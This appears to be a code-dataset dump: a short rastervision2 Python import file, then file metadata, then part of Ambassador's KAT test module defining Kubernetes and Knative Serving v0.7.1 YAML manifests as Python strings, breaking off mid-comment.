# flake8: noqa from rastervision2.core.evaluation.evaluation_item import * from rastervision2.core.evaluation.class_evaluation_item import * from rastervision2.core.evaluation.evaluator import * from rastervision2.core.evaluation.evaluator_config import * from rastervision2.core.evaluation.classification_evaluation import * from rastervision2.core.evaluation.classification_evaluator import * from rastervision2.core.evaluation.classification_evaluator_config import * from rastervision2.core.evaluation.chip_classification_evaluation import * from rastervision2.core.evaluation.chip_classification_evaluator import * from rastervision2.core.evaluation.chip_classification_evaluator_config import * from rastervision2.core.evaluation.semantic_segmentation_evaluation import * from rastervision2.core.evaluation.semantic_segmentation_evaluator import * from rastervision2.core.evaluation.semantic_segmentation_evaluator_config import * from rastervision2.core.evaluation.object_detection_evaluation import * from rastervision2.core.evaluation.object_detection_evaluator import * from rastervision2.core.evaluation.object_detection_evaluator_config import *
61
82
0.884383
127
1,159
7.84252
0.133858
0.273092
0.337349
0.497992
0.941767
0.941767
0.875502
0.492972
0
0
0
0.015582
0.058671
1,159
18
83
64.388889
0.897342
0.010354
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
0
0
0
null
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
8
7f086f52e3f2df64ab9c458c7866678a273116d7
101,174
py
Python
kat/kat/manifests.py
south37/ambassador
015683b57d917ba06c5a5296a9f5ab38b4832403
[ "Apache-2.0" ]
null
null
null
kat/kat/manifests.py
south37/ambassador
015683b57d917ba06c5a5296a9f5ab38b4832403
[ "Apache-2.0" ]
null
null
null
kat/kat/manifests.py
south37/ambassador
015683b57d917ba06c5a5296a9f5ab38b4832403
[ "Apache-2.0" ]
null
null
null
KAT_CLIENT_POD = """ --- apiVersion: v1 kind: Pod metadata: name: kat labels: backend: kat spec: containers: - name: backend image: dwflynn/kat-client:1.5.0 imagePullPolicy: Always """ BACKEND_SERVICE = """ --- kind: Service apiVersion: v1 metadata: name: {self.path.k8s} spec: selector: backend: {self.path.k8s} ports: - name: http protocol: TCP port: 80 targetPort: 8080 - name: https protocol: TCP port: 443 targetPort: 8443 """ BACKEND = BACKEND_SERVICE + """ --- apiVersion: v1 kind: Pod metadata: name: {self.path.k8s} labels: backend: {self.path.k8s} spec: containers: - name: backend image: quay.io/datawire/kat-backend:v1.5.0 imagePullPolicy: Always ports: - containerPort: 8080 env: - name: BACKEND value: {self.path.k8s} """ SUPERPOD_POD = """ --- apiVersion: apps/v1 kind: Deployment metadata: name: superpod spec: replicas: 1 selector: matchLabels: backend: superpod template: metadata: labels: backend: superpod spec: containers: - name: backend image: quay.io/datawire/kat-backend:v1.5.0 imagePullPolicy: Always # ports: # {ports} env: - name: INCLUDE_EXTAUTH_HEADER value: "yes" # {envs} """ AUTH_BACKEND = """ --- kind: Service apiVersion: v1 metadata: name: {self.path.k8s} spec: selector: backend: {self.path.k8s} ports: - name: http protocol: TCP port: 80 targetPort: 8080 - name: https protocol: TCP port: 443 targetPort: 8443 --- apiVersion: v1 kind: Pod metadata: name: {self.path.k8s} labels: backend: {self.path.k8s} spec: containers: - name: backend image: quay.io/datawire/kat-backend:v1.5.0 imagePullPolicy: Always ports: - containerPort: 8080 env: - name: BACKEND value: {self.path.k8s} - name: INCLUDE_EXTAUTH_HEADER value: "yes" """ GRPC_AUTH_BACKEND = """ --- kind: Service apiVersion: v1 metadata: name: {self.path.k8s} spec: selector: backend: {self.path.k8s} ports: - name: http protocol: TCP port: 80 targetPort: 8080 - name: https protocol: TCP port: 443 targetPort: 8443 --- apiVersion: v1 kind: Pod metadata: name: {self.path.k8s} labels: backend: {self.path.k8s} spec: containers: - name: backend image: quay.io/datawire/kat-backend:v1.5.0 imagePullPolicy: Always ports: - containerPort: 8080 env: - name: BACKEND value: {self.path.k8s} - name: KAT_BACKEND_TYPE value: grpc_auth """ GRPC_ECHO_BACKEND = """ --- kind: Service apiVersion: v1 metadata: name: {self.path.k8s} spec: selector: backend: {self.path.k8s} ports: - name: http protocol: TCP port: 80 targetPort: 8080 - name: https protocol: TCP port: 443 targetPort: 8443 --- apiVersion: v1 kind: Pod metadata: name: {self.path.k8s} labels: backend: {self.path.k8s} spec: containers: - name: backend image: quay.io/datawire/kat-backend:v1.5.0 imagePullPolicy: Always ports: - containerPort: 8080 env: - name: BACKEND value: {self.path.k8s} - name: KAT_BACKEND_TYPE value: grpc_echo """ CRDS = """ --- apiVersion: apiextensions.k8s.io/v1beta1 kind: CustomResourceDefinition metadata: name: authservices.getambassador.io spec: group: getambassador.io version: v1 versions: - name: v1 served: true storage: true scope: Namespaced names: plural: authservices singular: authservice kind: AuthService --- apiVersion: apiextensions.k8s.io/v1beta1 kind: CustomResourceDefinition metadata: name: consulresolvers.getambassador.io spec: group: getambassador.io version: v1 versions: - name: v1 served: true storage: true scope: Namespaced names: plural: consulresolvers singular: consulresolver kind: ConsulResolver --- apiVersion: apiextensions.k8s.io/v1beta1 kind: CustomResourceDefinition metadata: name: kubernetesendpointresolvers.getambassador.io spec: group: getambassador.io version: v1 versions: - name: v1 served: true storage: true scope: Namespaced names: plural: kubernetesendpointresolvers singular: kubernetesendpointresolver kind: KubernetesEndpointResolver --- apiVersion: apiextensions.k8s.io/v1beta1 kind: CustomResourceDefinition metadata: name: kubernetesserviceresolvers.getambassador.io spec: group: getambassador.io version: v1 versions: - name: v1 served: true storage: true scope: Namespaced names: plural: kubernetesserviceresolvers singular: kubernetesserviceresolver kind: KubernetesServiceResolver --- apiVersion: apiextensions.k8s.io/v1beta1 kind: CustomResourceDefinition metadata: name: mappings.getambassador.io spec: group: getambassador.io version: v1 versions: - name: v1 served: true storage: true scope: Namespaced names: plural: mappings singular: mapping kind: Mapping --- apiVersion: apiextensions.k8s.io/v1beta1 kind: CustomResourceDefinition metadata: name: modules.getambassador.io spec: group: getambassador.io version: v1 versions: - name: v1 served: true storage: true scope: Namespaced names: plural: modules singular: module kind: Module --- apiVersion: apiextensions.k8s.io/v1beta1 kind: CustomResourceDefinition metadata: name: ratelimitservices.getambassador.io spec: group: getambassador.io version: v1 versions: - name: v1 served: true storage: true scope: Namespaced names: plural: ratelimitservices singular: ratelimitservice kind: RateLimitService --- apiVersion: apiextensions.k8s.io/v1beta1 kind: CustomResourceDefinition metadata: name: tcpmappings.getambassador.io spec: group: getambassador.io version: v1 versions: - name: v1 served: true storage: true scope: Namespaced names: plural: tcpmappings singular: tcpmapping kind: TCPMapping --- apiVersion: apiextensions.k8s.io/v1beta1 kind: CustomResourceDefinition metadata: name: tlscontexts.getambassador.io spec: group: getambassador.io version: v1 versions: - name: v1 served: true storage: true scope: Namespaced names: plural: tlscontexts singular: tlscontext kind: TLSContext --- apiVersion: apiextensions.k8s.io/v1beta1 kind: CustomResourceDefinition metadata: name: tracingservices.getambassador.io spec: group: getambassador.io version: v1 versions: - name: v1 served: true storage: true scope: Namespaced names: plural: tracingservices singular: tracingservice kind: TracingService """ RBAC_CLUSTER_SCOPE = """ --- apiVersion: rbac.authorization.k8s.io/v1beta1 kind: ClusterRole metadata: name: {self.path.k8s} rules: - apiGroups: [""] resources: [ "services", "secrets", "namespaces", "endpoints" ] verbs: ["get", "list", "watch"] - apiGroups: [ "apiextensions.k8s.io" ] resources: [ "customresourcedefinitions" ] verbs: ["get", "list", "watch"] - apiGroups: [ "getambassador.io" ] resources: [ "*" ] verbs: ["get", "list", "watch"] - apiGroups: [ "networking.internal.knative.dev" ] resources: [ "clusteringresses", "ingresses" ] verbs: ["get", "list", "watch"] - apiGroups: [ "networking.internal.knative.dev" ] resources: [ "ingresses/status", "clusteringresses/status" ] verbs: ["update"] --- apiVersion: v1 kind: ServiceAccount metadata: name: {self.path.k8s} --- apiVersion: rbac.authorization.k8s.io/v1beta1 kind: ClusterRoleBinding metadata: name: {self.path.k8s} roleRef: apiGroup: rbac.authorization.k8s.io kind: ClusterRole name: {self.path.k8s} subjects: - kind: ServiceAccount name: {self.path.k8s} namespace: {self.namespace} """ # The actual namespace attribute will be added by the KAT harness. RBAC_NAMESPACE_SCOPE = """ --- apiVersion: rbac.authorization.k8s.io/v1beta1 kind: Role metadata: name: {self.path.k8s} rules: - apiGroups: [""] resources: [ "services", "secrets", "namespaces", "endpoints" ] verbs: ["get", "list", "watch"] - apiGroups: [ "apiextensions.k8s.io" ] resources: [ "customresourcedefinitions" ] verbs: ["get", "list", "watch"] - apiGroups: [ "getambassador.io" ] resources: [ "*" ] verbs: ["get", "list", "watch"] --- apiVersion: v1 kind: ServiceAccount metadata: name: {self.path.k8s} --- apiVersion: rbac.authorization.k8s.io/v1beta1 kind: RoleBinding metadata: name: {self.path.k8s} roleRef: apiGroup: rbac.authorization.k8s.io kind: Role name: {self.path.k8s} subjects: - kind: ServiceAccount name: {self.path.k8s} namespace: {self.namespace} """ AMBASSADOR = """ --- apiVersion: v1 kind: Service metadata: name: {self.path.k8s} spec: type: NodePort ports: - name: http protocol: TCP port: 80 targetPort: 8080 - name: https protocol: TCP port: 443 targetPort: 8443 {extra_ports} selector: service: {self.path.k8s} --- apiVersion: v1 kind: Service metadata: labels: service: {self.path.k8s}-admin name: {self.path.k8s}-admin spec: type: NodePort ports: - name: {self.path.k8s}-admin port: 8877 targetPort: 8877 selector: service: {self.path.k8s} --- apiVersion: v1 kind: Pod metadata: name: {self.path.k8s} annotations: sidecar.istio.io/inject: "false" labels: service: {self.path.k8s} spec: securityContext: runAsUser: 8888 serviceAccountName: {self.path.k8s} restartPolicy: Always volumes: - name: scratchpad emptyDir: medium: Memory sizeLimit: "45Mi" containers: - name: ambassador image: {image} env: {envs} - name: AMBASSADOR_NAMESPACE valueFrom: fieldRef: fieldPath: metadata.namespace - name: AMBASSADOR_ID value: {self.path.k8s} - name: AMBASSADOR_SNAPSHOT_COUNT value: "0" - name: AMBASSADOR_CONFIG_BASE_DIR value: "/tmp/ambassador" securityContext: allowPrivilegeEscalation: false readOnlyRootFilesystem: true {capabilities_block} livenessProbe: httpGet: path: /ambassador/v0/check_alive port: 8877 initialDelaySeconds: 30 periodSeconds: 10 failureThreshold: 30 readinessProbe: httpGet: path: /ambassador/v0/check_ready port: 8877 initialDelaySeconds: 30 periodSeconds: 10 failureThreshold: 30 volumeMounts: - mountPath: /tmp/ name: scratchpad """ HTTPBIN = """ --- kind: Service apiVersion: v1 metadata: name: {self.path.k8s} spec: selector: pod: {self.path.k8s} ports: - protocol: TCP port: 80 targetPort: 80 --- apiVersion: v1 kind: Pod metadata: name: {self.path.k8s} labels: pod: {self.path.k8s} spec: containers: - name: backend image: kennethreitz/httpbin ports: - containerPort: 80 """ KNATIVE_SERVING_CRDS = """ --- apiVersion: apiextensions.k8s.io/v1beta1 kind: CustomResourceDefinition metadata: labels: knative.dev/crd-install: "true" serving.knative.dev/release: "v0.7.1" name: certificates.networking.internal.knative.dev spec: additionalPrinterColumns: - JSONPath: .status.conditions[?(@.type=="Ready")].status name: Ready type: string - JSONPath: .status.conditions[?(@.type=="Ready")].reason name: Reason type: string group: networking.internal.knative.dev names: categories: - all - knative-internal - networking kind: Certificate plural: certificates shortNames: - kcert singular: certificate scope: Namespaced subresources: status: {} version: v1alpha1 --- apiVersion: apiextensions.k8s.io/v1beta1 kind: CustomResourceDefinition metadata: labels: knative.dev/crd-install: "true" serving.knative.dev/release: "v0.7.1" name: clusteringresses.networking.internal.knative.dev spec: additionalPrinterColumns: - JSONPath: .status.conditions[?(@.type=='Ready')].status name: Ready type: string - JSONPath: .status.conditions[?(@.type=='Ready')].reason name: Reason type: string group: networking.internal.knative.dev names: categories: - all - knative-internal - networking kind: ClusterIngress plural: clusteringresses singular: clusteringress scope: Cluster subresources: status: {} version: v1alpha1 --- apiVersion: apiextensions.k8s.io/v1beta1 kind: CustomResourceDefinition metadata: labels: knative.dev/crd-install: "true" name: images.caching.internal.knative.dev spec: group: caching.internal.knative.dev names: categories: - all - knative-internal - caching kind: Image plural: images shortNames: - img singular: image scope: Namespaced subresources: status: {} version: v1alpha1 --- apiVersion: apiextensions.k8s.io/v1beta1 kind: CustomResourceDefinition metadata: labels: knative.dev/crd-install: "true" serving.knative.dev/release: "v0.7.1" name: ingresses.networking.internal.knative.dev spec: additionalPrinterColumns: - JSONPath: .status.conditions[?(@.type=='Ready')].status name: Ready type: string - JSONPath: .status.conditions[?(@.type=='Ready')].reason name: Reason type: string group: networking.internal.knative.dev names: categories: - all - knative-internal - networking kind: Ingress plural: ingresses shortNames: - ing singular: ingress scope: Namespaced subresources: status: {} version: v1alpha1 --- apiVersion: apiextensions.k8s.io/v1beta1 kind: CustomResourceDefinition metadata: labels: knative.dev/crd-install: "true" serving.knative.dev/release: "v0.7.1" name: podautoscalers.autoscaling.internal.knative.dev spec: additionalPrinterColumns: - JSONPath: .status.conditions[?(@.type=='Ready')].status name: Ready type: string - JSONPath: .status.conditions[?(@.type=='Ready')].reason name: Reason type: string group: autoscaling.internal.knative.dev names: categories: - all - knative-internal - autoscaling kind: PodAutoscaler plural: podautoscalers shortNames: - kpa singular: podautoscaler scope: Namespaced subresources: status: {} version: v1alpha1 --- apiVersion: apiextensions.k8s.io/v1beta1 kind: CustomResourceDefinition metadata: labels: knative.dev/crd-install: "true" serving.knative.dev/release: "v0.7.1" name: serverlessservices.networking.internal.knative.dev spec: additionalPrinterColumns: - JSONPath: .spec.mode name: Mode type: string - JSONPath: .status.serviceName name: ServiceName type: string - JSONPath: .status.privateServiceName name: PrivateServiceName type: string - JSONPath: .status.conditions[?(@.type=='Ready')].status name: Ready type: string - JSONPath: .status.conditions[?(@.type=='Ready')].reason name: Reason type: string group: networking.internal.knative.dev names: categories: - all - knative-internal - networking kind: ServerlessService plural: serverlessservices shortNames: - sks singular: serverlessservice scope: Namespaced subresources: status: {} version: v1alpha1 --- apiVersion: apiextensions.k8s.io/v1beta1 kind: CustomResourceDefinition metadata: labels: knative.dev/crd-install: "true" serving.knative.dev/release: "v0.7.1" name: configurations.serving.knative.dev spec: additionalPrinterColumns: - JSONPath: .status.latestCreatedRevisionName name: LatestCreated type: string - JSONPath: .status.latestReadyRevisionName name: LatestReady type: string - JSONPath: .status.conditions[?(@.type=='Ready')].status name: Ready type: string - JSONPath: .status.conditions[?(@.type=='Ready')].reason name: Reason type: string group: serving.knative.dev names: categories: - all - knative - serving kind: Configuration plural: configurations shortNames: - config - cfg singular: configuration scope: Namespaced subresources: status: {} versions: - name: v1alpha1 served: true storage: true --- apiVersion: apiextensions.k8s.io/v1beta1 kind: CustomResourceDefinition metadata: labels: knative.dev/crd-install: "true" serving.knative.dev/release: "v0.7.1" name: revisions.serving.knative.dev spec: additionalPrinterColumns: - JSONPath: .status.serviceName name: Service Name type: string - JSONPath: .metadata.labels['serving\\.knative\\.dev/configurationGeneration'] name: Generation type: string - JSONPath: .status.conditions[?(@.type=='Ready')].status name: Ready type: string - JSONPath: .status.conditions[?(@.type=='Ready')].reason name: Reason type: string group: serving.knative.dev names: categories: - all - knative - serving kind: Revision plural: revisions shortNames: - rev singular: revision scope: Namespaced subresources: status: {} versions: - name: v1alpha1 served: true storage: true --- apiVersion: apiextensions.k8s.io/v1beta1 kind: CustomResourceDefinition metadata: labels: knative.dev/crd-install: "true" serving.knative.dev/release: "v0.7.1" name: routes.serving.knative.dev spec: additionalPrinterColumns: - JSONPath: .status.url name: URL type: string - JSONPath: .status.conditions[?(@.type=='Ready')].status name: Ready type: string - JSONPath: .status.conditions[?(@.type=='Ready')].reason name: Reason type: string group: serving.knative.dev names: categories: - all - knative - serving kind: Route plural: routes shortNames: - rt singular: route scope: Namespaced subresources: status: {} versions: - name: v1alpha1 served: true storage: true --- apiVersion: apiextensions.k8s.io/v1beta1 kind: CustomResourceDefinition metadata: labels: knative.dev/crd-install: "true" serving.knative.dev/release: "v0.7.1" name: services.serving.knative.dev spec: additionalPrinterColumns: - JSONPath: .status.url name: URL type: string - JSONPath: .status.latestCreatedRevisionName name: LatestCreated type: string - JSONPath: .status.latestReadyRevisionName name: LatestReady type: string - JSONPath: .status.conditions[?(@.type=='Ready')].status name: Ready type: string - JSONPath: .status.conditions[?(@.type=='Ready')].reason name: Reason type: string group: serving.knative.dev names: categories: - all - knative - serving kind: Service plural: services shortNames: - kservice - ksvc singular: service scope: Namespaced subresources: status: {} versions: - name: v1alpha1 served: true storage: true """ KNATIVE_SERVING_071 = """ --- apiVersion: v1 kind: Namespace metadata: labels: serving.knative.dev/release: "v0.7.1" name: knative-serving --- apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole metadata: labels: networking.knative.dev/certificate-provider: cert-manager serving.knative.dev/controller: "true" serving.knative.dev/release: "v0.7.1" name: knative-serving-certmanager rules: - apiGroups: - certmanager.k8s.io resources: - certificates verbs: - get - list - create - update - delete - patch - watch --- apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole metadata: labels: autoscaling.knative.dev/metric-provider: custom-metrics serving.knative.dev/release: "v0.7.1" name: custom-metrics-server-resources rules: - apiGroups: - custom.metrics.k8s.io resources: - '*' verbs: - '*' --- aggregationRule: clusterRoleSelectors: - matchLabels: serving.knative.dev/controller: "true" apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole metadata: labels: serving.knative.dev/release: "v0.7.1" name: knative-serving-admin rules: [] --- apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole metadata: labels: serving.knative.dev/controller: "true" serving.knative.dev/release: "v0.7.1" name: knative-serving-core rules: - apiGroups: - "" resources: - pods - namespaces - secrets - configmaps - endpoints - services - events - serviceaccounts verbs: - get - list - create - update - delete - patch - watch - apiGroups: - "" resources: - endpoints/restricted verbs: - create - apiGroups: - apps resources: - deployments - deployments/finalizers verbs: - get - list - create - update - delete - patch - watch - apiGroups: - admissionregistration.k8s.io resources: - mutatingwebhookconfigurations verbs: - get - list - create - update - delete - patch - watch - apiGroups: - apiextensions.k8s.io resources: - customresourcedefinitions verbs: - get - list - create - update - delete - patch - watch - apiGroups: - autoscaling resources: - horizontalpodautoscalers verbs: - get - list - create - update - delete - patch - watch - apiGroups: - serving.knative.dev - autoscaling.internal.knative.dev - networking.internal.knative.dev resources: - '*' - '*/status' - '*/finalizers' verbs: - get - list - create - update - delete - deletecollection - patch - watch - apiGroups: - caching.internal.knative.dev resources: - images verbs: - get - list - create - update - delete - patch - watch --- apiVersion: v1 kind: ServiceAccount metadata: labels: serving.knative.dev/release: "v0.7.1" name: controller namespace: knative-serving --- apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRoleBinding metadata: labels: autoscaling.knative.dev/metric-provider: custom-metrics serving.knative.dev/release: "v0.7.1" name: custom-metrics:system:auth-delegator roleRef: apiGroup: rbac.authorization.k8s.io kind: ClusterRole name: system:auth-delegator subjects: - kind: ServiceAccount name: controller namespace: knative-serving --- apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRoleBinding metadata: labels: autoscaling.knative.dev/metric-provider: custom-metrics serving.knative.dev/release: "v0.7.1" name: hpa-controller-custom-metrics roleRef: apiGroup: rbac.authorization.k8s.io kind: ClusterRole name: custom-metrics-server-resources subjects: - kind: ServiceAccount name: horizontal-pod-autoscaler namespace: kube-system --- apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRoleBinding metadata: labels: serving.knative.dev/release: "v0.7.1" name: knative-serving-controller-admin roleRef: apiGroup: rbac.authorization.k8s.io kind: ClusterRole name: knative-serving-admin subjects: - kind: ServiceAccount name: controller namespace: knative-serving --- apiVersion: rbac.authorization.k8s.io/v1 kind: RoleBinding metadata: labels: autoscaling.knative.dev/metric-provider: custom-metrics serving.knative.dev/release: "v0.7.1" name: custom-metrics-auth-reader namespace: kube-system roleRef: apiGroup: rbac.authorization.k8s.io kind: Role name: extension-apiserver-authentication-reader subjects: - kind: ServiceAccount name: controller namespace: knative-serving --- apiVersion: v1 kind: Service metadata: labels: app: activator serving.knative.dev/release: "v0.7.1" name: activator-service namespace: knative-serving spec: ports: - name: http port: 80 protocol: TCP targetPort: 8012 - name: http2 port: 81 protocol: TCP targetPort: 8013 - name: metrics port: 9090 protocol: TCP targetPort: 9090 selector: app: activator type: ClusterIP --- apiVersion: v1 kind: Service metadata: labels: app: controller serving.knative.dev/release: "v0.7.1" name: controller namespace: knative-serving spec: ports: - name: metrics port: 9090 protocol: TCP targetPort: 9090 selector: app: controller --- apiVersion: v1 kind: Service metadata: labels: role: webhook serving.knative.dev/release: "v0.7.1" name: webhook namespace: knative-serving spec: ports: - port: 443 targetPort: 8443 selector: role: webhook --- apiVersion: caching.internal.knative.dev/v1alpha1 kind: Image metadata: labels: serving.knative.dev/release: "v0.7.1" name: queue-proxy namespace: knative-serving spec: image: gcr.io/knative-releases/github.com/knative/serving/cmd/queue@sha256:89fb5a1d2d9c0abd10ce3135c02f9e9ffbf93087a3ece7481615a0f9d9209713 --- apiVersion: apps/v1 kind: Deployment metadata: labels: serving.knative.dev/release: "v0.7.1" name: activator namespace: knative-serving spec: selector: matchLabels: app: activator role: activator template: metadata: annotations: cluster-autoscaler.kubernetes.io/safe-to-evict: "false" labels: app: activator role: activator serving.knative.dev/release: "v0.7.1" spec: containers: - args: - -logtostderr=false - -stderrthreshold=FATAL env: - name: POD_NAME valueFrom: fieldRef: fieldPath: metadata.name - name: SYSTEM_NAMESPACE valueFrom: fieldRef: fieldPath: metadata.namespace - name: CONFIG_LOGGING_NAME value: config-logging - name: CONFIG_OBSERVABILITY_NAME value: config-observability - name: METRICS_DOMAIN value: knative.dev/serving image: gcr.io/knative-releases/github.com/knative/serving/cmd/activator@sha256:864c0dc5e8d8eeee6162f448ae6452ab53f53642536a4720d59b6bc2402df01f livenessProbe: httpGet: httpHeaders: - name: k-kubelet-probe value: activator path: /healthz port: 8012 name: activator ports: - containerPort: 8012 name: http1-port - containerPort: 8013 name: h2c-port - containerPort: 9090 name: metrics-port readinessProbe: httpGet: httpHeaders: - name: k-kubelet-probe value: activator path: /healthz port: 8012 resources: limits: cpu: 200m memory: 600Mi requests: cpu: 20m memory: 60Mi securityContext: allowPrivilegeEscalation: false volumeMounts: - mountPath: /etc/config-logging name: config-logging - mountPath: /etc/config-observability name: config-observability serviceAccountName: controller volumes: - configMap: name: config-logging name: config-logging - configMap: name: config-observability name: config-observability --- apiVersion: v1 kind: Service metadata: labels: app: autoscaler serving.knative.dev/release: "v0.7.1" name: autoscaler namespace: knative-serving spec: ports: - name: http port: 8080 protocol: TCP targetPort: 8080 - name: metrics port: 9090 protocol: TCP targetPort: 9090 - name: custom-metrics port: 443 protocol: TCP targetPort: 8443 selector: app: autoscaler --- apiVersion: apps/v1 kind: Deployment metadata: labels: serving.knative.dev/release: "v0.7.1" name: autoscaler namespace: knative-serving spec: replicas: 1 selector: matchLabels: app: autoscaler template: metadata: annotations: cluster-autoscaler.kubernetes.io/safe-to-evict: "false" labels: app: autoscaler serving.knative.dev/release: "v0.7.1" spec: containers: - args: - --secure-port=8443 - --cert-dir=/tmp env: - name: SYSTEM_NAMESPACE valueFrom: fieldRef: fieldPath: metadata.namespace - name: CONFIG_LOGGING_NAME value: config-logging - name: CONFIG_OBSERVABILITY_NAME value: config-observability - name: METRICS_DOMAIN value: knative.dev/serving image: gcr.io/knative-releases/github.com/knative/serving/cmd/autoscaler@sha256:026860790fe07bf3dcd42fe2c0a21c7c15ef59f4cb772b6e369f927620f6c0ec livenessProbe: httpGet: httpHeaders: - name: k-kubelet-probe value: autoscaler path: /healthz port: 8080 name: autoscaler ports: - containerPort: 8080 name: websocket - containerPort: 9090 name: metrics - containerPort: 8443 name: custom-metrics readinessProbe: httpGet: httpHeaders: - name: k-kubelet-probe value: autoscaler path: /healthz port: 8080 resources: limits: cpu: 300m memory: 400Mi requests: cpu: 30m memory: 40Mi securityContext: allowPrivilegeEscalation: false volumeMounts: - mountPath: /etc/config-autoscaler name: config-autoscaler - mountPath: /etc/config-logging name: config-logging - mountPath: /etc/config-observability name: config-observability serviceAccountName: controller volumes: - configMap: name: config-autoscaler name: config-autoscaler - configMap: name: config-logging name: config-logging - configMap: name: config-observability name: config-observability --- apiVersion: v1 data: _example: | ################################ # # # EXAMPLE CONFIGURATION # # # ################################ # This block is not actually functional configuration, # but serves to illustrate the available configuration # options and document them in a way that is accessible # to users that `kubectl edit` this config map. # # These sample configuration options may be copied out of # this example block and unindented to be in the data block # to actually change the configuration. # The Revision ContainerConcurrency field specifies the maximum number # of requests the Container can handle at once. Container concurrency # target percentage is how much of that maximum to use in a stable # state. E.g. if a Revision specifies ContainerConcurrency of 10, then # the Autoscaler will try to maintain 7 concurrent connections per pod # on average. A value of 70 is chosen because the Autoscaler panics # when concurrency exceeds 2x the desired set point. So we will panic # before we reach the limit. # For legacy and backwards compatibility reasons, this value also accepts # fractional values in (0, 1] interval (i.e. 0.7 ⇒ 70%). # Thus minimal percentage value must be greater than 1.0, or it will be # treated as a fraction. # TODO(#2016): Set to 70%. container-concurrency-target-percentage: "100" # The container concurrency target default is what the Autoscaler will # try to maintain when the Revision specifies unlimited concurrency. # Even when specifying unlimited concurrency, the autoscaler will # horizontally scale the application based on this target concurrency. # # A value of 100 is chosen because it's enough to allow vertical pod # autoscaling to tune resource requests. E.g. maintaining 1 concurrent # "hello world" request doesn't consume enough resources to allow VPA # to achieve efficient resource usage (VPA CPU minimum is 300m). container-concurrency-target-default: "100" # When operating in a stable mode, the autoscaler operates on the # average concurrency over the stable window. stable-window: "60s" # When observed average concurrency during the panic window reaches # panic-threshold-percentage the target concurrency, the autoscaler # enters panic mode. When operating in panic mode, the autoscaler # scales on the average concurrency over the panic window which is # panic-window-percentage of the stable-window. panic-window-percentage: "10.0" # Absolute panic window duration. # Deprecated in favor of panic-window-percentage. # Existing revisions will continue to scale based on panic-window # but new revisions will default to panic-window-percentage. panic-window: "6s" # The percentage of the container concurrency target at which to # enter panic mode when reached within the panic window. panic-threshold-percentage: "200.0" # Max scale up rate limits the rate at which the autoscaler will # increase pod count. It is the maximum ratio of desired pods versus # observed pods. max-scale-up-rate: "10" # Scale to zero feature flag enable-scale-to-zero: "true" # Tick interval is the time between autoscaling calculations. tick-interval: "2s" # Dynamic parameters (take effect when config map is updated): # Scale to zero grace period is the time an inactive revision is left # running before it is scaled to zero (min: 30s). scale-to-zero-grace-period: "30s" kind: ConfigMap metadata: labels: serving.knative.dev/release: "v0.7.1" name: config-autoscaler namespace: knative-serving --- apiVersion: v1 data: _example: | ################################ # # # EXAMPLE CONFIGURATION # # # ################################ # This block is not actually functional configuration, # but serves to illustrate the available configuration # options and document them in a way that is accessible # to users that `kubectl edit` this config map. # # These sample configuration options may be copied out of # this block and unindented to actually change the configuration. # IssuerRef is a reference to the issuer for this certificate. # IssuerRef should be either `ClusterIssuer` or `Issuer`. # Please refer `IssuerRef` in https://github.com/jetstack/cert-manager/blob/master/pkg/apis/certmanager/v1alpha1/types_certificate.go # for more details about IssuerRef configuration. issuerRef: | kind: ClusterIssuer name: letsencrypt-issuer # solverConfig defines the configuration for the ACME certificate provider. # The solverConfig should be either dns01 or http01. # Please refer `SolverConfig` in https://github.com/jetstack/cert-manager/blob/master/pkg/apis/certmanager/v1alpha1/types_certificate.go # for more details about ACME configuration. solverConfig: | dns01: provider: cloud-dns-provider kind: ConfigMap metadata: labels: networking.knative.dev/certificate-provider: cert-manager serving.knative.dev/release: "v0.7.1" name: config-certmanager namespace: knative-serving --- apiVersion: v1 data: _example: | ################################ # # # EXAMPLE CONFIGURATION # # # ################################ # This block is not actually functional configuration, # but serves to illustrate the available configuration # options and document them in a way that is accessible # to users that `kubectl edit` this config map. # # These sample configuration options may be copied out of # this example block and unindented to be in the data block # to actually change the configuration. # revision-timeout-seconds contains the default number of # seconds to use for the revision's per-request timeout, if # none is specified. revision-timeout-seconds: "300" # 5 minutes # max-revision-timeout-seconds contains the maximum number of # seconds that can be used for revision-timeout-seconds. # This value must be greater than or equal to revision-timeout-seconds. # If omitted, the system default is used (600 seconds). max-revision-timeout-seconds: "600" # 10 minutes # revision-cpu-request contains the cpu allocation to assign # to revisions by default. If omitted, no value is specified # and the system default is used. revision-cpu-request: "400m" # 0.4 of a CPU (aka 400 milli-CPU) # revision-memory-request contains the memory allocation to assign # to revisions by default. If omitted, no value is specified # and the system default is used. revision-memory-request: "100M" # 100 megabytes of memory # revision-cpu-limit contains the cpu allocation to limit # revisions to by default. If omitted, no value is specified # and the system default is used. revision-cpu-limit: "1000m" # 1 CPU (aka 1000 milli-CPU) # revision-memory-limit contains the memory allocation to limit # revisions to by default. If omitted, no value is specified # and the system default is used. revision-memory-limit: "200M" # 200 megabytes of memory # container-name-template contains a template for the default # container name, if none is specified. This field supports # Go templating and is supplied with the ObjectMeta of the # enclosing Service or Configuration, so values such as # {{.Name}} are also valid. container-name-template: "user-container" kind: ConfigMap metadata: labels: serving.knative.dev/release: "v0.7.1" name: config-defaults namespace: knative-serving --- apiVersion: v1 data: _example: | ################################ # # # EXAMPLE CONFIGURATION # # # ################################ # This block is not actually functional configuration, # but serves to illustrate the available configuration # options and document them in a way that is accessible # to users that `kubectl edit` this config map. # # These sample configuration options may be copied out of # this example block and unindented to be in the data block # to actually change the configuration. # List of repositories for which tag to digest resolving should be skipped registriesSkippingTagResolving: "ko.local,dev.local" queueSidecarImage: gcr.io/knative-releases/github.com/knative/serving/cmd/queue@sha256:89fb5a1d2d9c0abd10ce3135c02f9e9ffbf93087a3ece7481615a0f9d9209713 kind: ConfigMap metadata: labels: serving.knative.dev/release: "v0.7.1" name: config-deployment namespace: knative-serving --- apiVersion: v1 data: _example: | ################################ # # # EXAMPLE CONFIGURATION # # # ################################ # This block is not actually functional configuration, # but serves to illustrate the available configuration # options and document them in a way that is accessible # to users that `kubectl edit` this config map. # # These sample configuration options may be copied out of # this example block and unindented to be in the data block # to actually change the 